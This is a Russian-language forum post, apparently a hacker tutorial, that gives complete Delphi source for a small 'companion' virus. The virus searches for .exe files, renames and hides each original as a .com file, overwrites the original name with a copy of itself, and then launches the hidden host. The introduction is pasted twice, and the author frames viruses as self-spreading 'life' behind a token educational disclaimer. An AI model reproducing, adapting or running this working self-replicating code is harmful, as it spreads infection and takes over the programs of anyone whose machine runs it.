Всем доброго времени суток!
Как уже видно из названия статьи будем лепить мини вирус
Алгоритм заражения будит таким:
- Поиск файлов с расширением .ехе.
- Нашёл .ехе проверить наличие файла с таким же именем, но расширением .сом, если такой файл найден - значит уже заражено, если нет - значит заражаем.
- Скрыть жертву выставив атрибуты.
- После полного заражения, проверить, запущен ли вирус в свободном виде, или у него есть жертва, если жертва. Нужно глянуть своё имя и наличие файла с таким же именем с расширением .соm в текущем каталоге, если нет – завершаем работу, если есть – запускаем файл, завершаем работу.
. Если читали, и всё нормально понятно, то вам ясно, что этот вирус сохраняет работоспособность заражённой программы, что является его основным недостатком, в силу крайне простого лечения.
Перед тем как начнёте компиляцию, сделаю небольшое отступление и отмечу, что многие люди любят спрашивать: «А что делает вирус??», имея, конечно же, ввиду: «Как вирус пакостит?», но на самом деле, это довольно глупо, т.к. пакости (деструктивные функции) - не являются основным отличием, особенностью или назначением вирусов. Главная цель вируса – выжить, в трудном компьютерном мире, дать приплод и, как следует, распространиться. А всякого рода хищение, порча и издевательства – это рухлядь, и в ней нет столько интересного, как в созидании появления, пусть и компьютерной, но всё же, новой самостоятельной, жизни... Хотя вернёмся к нашим баранам...
Код Delphi
Вот и весь mini вирус. Не забываем, о исключительно учебном применении, данного материала).
Как уже видно из названия статьи будем лепить мини вирус
Алгоритм заражения будит таким:
- Поиск файлов с расширением .ехе.
- Нашёл .ехе проверить наличие файла с таким же именем, но расширением .сом, если такой файл найден - значит уже заражено, если нет - значит заражаем.
- Скрыть жертву выставив атрибуты.
- После полного заражения, проверить, запущен ли вирус в свободном виде, или у него есть жертва, если жертва. Нужно глянуть своё имя и наличие файла с таким же именем с расширением .соm в текущем каталоге, если нет – завершаем работу, если есть – запускаем файл, завершаем работу.
. Если читали, и всё нормально понятно, то вам ясно, что этот вирус сохраняет работоспособность заражённой программы, что является его основным недостатком, в силу крайне простого лечения.
Перед тем как начнёте компиляцию, сделаю небольшое отступление и отмечу, что многие люди любят спрашивать: «А что делает вирус??», имея, конечно же, ввиду: «Как вирус пакостит?», но на самом деле, это довольно глупо, т.к. пакости (деструктивные функции) - не являются основным отличием, особенностью или назначением вирусов. Главная цель вируса – выжить, в трудном компьютерном мире, дать приплод и, как следует, распространиться. А всякого рода хищение, порча и издевательства – это рухлядь, и в ней нет столько интересного, как в созидании появления, пусть и компьютерной, но всё же, новой самостоятельной, жизни... Хотя вернёмся к нашим баранам...
Код Delphi
Код:
program hllc;
uses
sysutils,
windows;
const
VirSize = 43008;///Размер вируса
Procedure Infect(path:string);
var
FromF : file;
ToF: file;
NumRead : integer;
Buf: array[1..VirSize] of Char; //Буфер
FM:word; //Переменная для сохранения FileMode
begin
FM:=FileMode;//сохраняем FileMode
FileMode:=0;//Режим работы с файлом - только чтение
AssignFile(FromF, ParamStr(0));//Ассоциируем к с путём к себе
Reset(FromF, 1);//Открываем себя
BlockRead(FromF, Buf, SizeOf(Buf), NumRead);
CloseFile(FromF);//Закрываем себя
FileMode:=2;//Режим работы с файлом - только запись
AssignFile(ToF, path);//Ассоциируем с путём к файлу
Rewrite(ToF, 1);//Открытие с перезаписью
BlockWrite(ToF, Buf, NumRead);//Пишем буфер
CloseFile(ToF); //Закрываем жертву
FileMode:=FM;//Восстанавливаем значение FileMode как на входе в процедуру
end;
var
FR : INTEGER;
sr:tsearchrec;{Поисковые переменные}
f:file;{Файловая переменная}
begin
FR:=FindFirst('*.exe',faAnyFile-faDirectory,SR);{ищем файлы с любым именем, атрибутом и расширением}
while FR=0 do {Повторяем до появления ошибки, в нашем случае - больше нет файлов}
begin
if (not FileExists(SR.Name+'.com')) and (ExtractFileName(paramstr(0))<>sr.Name) then{Если файл не заражен и найденный файл не вирус в чистом виде то..}
begin
AssignFile(f,SR.Name);{ассоциируем путь к найденному файлу с файловой переменной}
rename(f,SR.Name+'.com');{переименуем расширение файла}
FileSetAttr(SR.Name+'.com', faSysFile or faHidden);{ставим аттрибуты}
infect(SR.Name);{копируем себя с именем найденного файла}
end;
FR:=findnext(SR);{ ищем следующий }
end;
winexec(PChar(paramstr(0)+'.com'),1);{по окончанию поиска, заражаем жертву, если она есть}
end.
Вот и весь mini вирус. Не забываем, о исключительно учебном применении, данного материала).
Последнее редактирование: